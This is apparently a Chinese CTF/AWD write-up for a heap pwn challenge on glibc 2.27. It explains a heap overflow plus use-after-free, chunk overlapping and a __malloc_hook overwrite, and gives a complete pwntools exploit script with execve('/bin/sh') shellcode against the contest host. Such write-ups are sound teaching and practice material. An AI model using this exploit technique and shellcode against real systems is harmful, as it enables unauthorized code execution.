今天晚上6点30闲得没事,随便逛逛的时候看到了bugku awd有战队开了房间,想着没什么事就报名玩了玩,不过pwn题还是很有意思的。
连上去发现是个堆题。。。再一看加固时间20分钟。。。。(瞬间无语住
直接在网上找题,结果发现网上都是2.23下的,这里笔者拿到的是2.27下的(再次瞬间无语住
没办法只好自己写exp了。拿到pwn附件就是一顿瞎分析,结果发现了upadte有堆溢出
再随便翻了翻发现还有一个uaf。
只不过没有show函数而已。
再看了一下保护
脑子里瞬间想好了攻击思路,申请到malloc_hook,改malloc_hook为shellcode的地址就行
申请到malloc_hook其实可以借助unstortedbin来,因为malloc_hook和unstortedbin差一个字节。
首先申请0x10 0x410 0x60 0x30 0x30
接着释放0x60,通过0x10改0x410为0x491,也就是将0x410和0x60包住。实现overlapping
释放这0x491再申请0x410这样的话0x60的fd就是unstortedbin了
改最低的一个字节到malloc_hook
0x30的作用就体现出来了,将0x30释放掉,edit改0x30的fd为0x601020
将shellcode放入这里,然后将malloc_hook改为这个地址,最后malloc的时候就会触发shellcode。
这个时候最玄的事情来了,本地打不通,远程可以打通。。。。。。
笔者没想太多,直接上脚本刷分去了(因为发现其它队伍都不会XD
这里笔者只贴一个普通打远程的脚本
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './z1r0'
debug = 1
if debug:
r = remote('192-168-1-50.pvp986.bugku.cn', 9999)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
menu = 'Your choice :'
def add(size, data):
r.sendlineafter(menu, '1')
r.sendlineafter('Size: ', str(size))
r.sendafter('Data: ', data)
def delete(index):
r.sendlineafter(menu, '2')
r.sendlineafter('Index: ', str(index))
def edit(index, size, data):
r.sendlineafter(menu, '3')
r.sendlineafter('Index: ', str(index))
r.sendlineafter('Size: ', str(size))
r.sendafter('Data: ', data)
add(0x10, 'bbb') #0
add(0x410, 'aaa') #1
add(0x60, 'aaaa') #2
add(0x30, 'aaaa') #3
add(0x30, 'aaaa') #4
delete(2)
p1 = p64(0) * 3 + p64(0x491)
edit(0, len(p1), p1)
delete(1)
add(0x410, 'aaaa')
p2 = b'a' * 0x410 + p64(0) + p64(0x71) + b'\x30'
edit(1, len(p2), p2)
add(0x60, 'aaaa')
delete(4)
p3 = p64(0x601020)
edit(4, len(p3), p3)
add(0x30, 'aaaa')
#shellcode = "\x48\x31\xc0\x48\xc7\xc0\x3b\x00\x00\x00\x48\x31\xff\x48\xc7\xc7\x48\x10\x60\x00\x48\x31\xf6\x48\x31\xd2\x0f\x05"
shellcode = asm('''
xor rsi,rsi
mul esi
push rax
mov rbx,0x68732f2f6e69622f
push rbx
push rsp
pop rdi
mov al, 59
syscall
''')
add(0x30, shellcode)
add(0x60, p64(0x601020))
r.recvuntil('Wellcome To the Heap World\n')
r.send('1'.ljust(8, '\x00'))
r.send(str(0xf0).ljust(8, '\x00'))
r.interactive()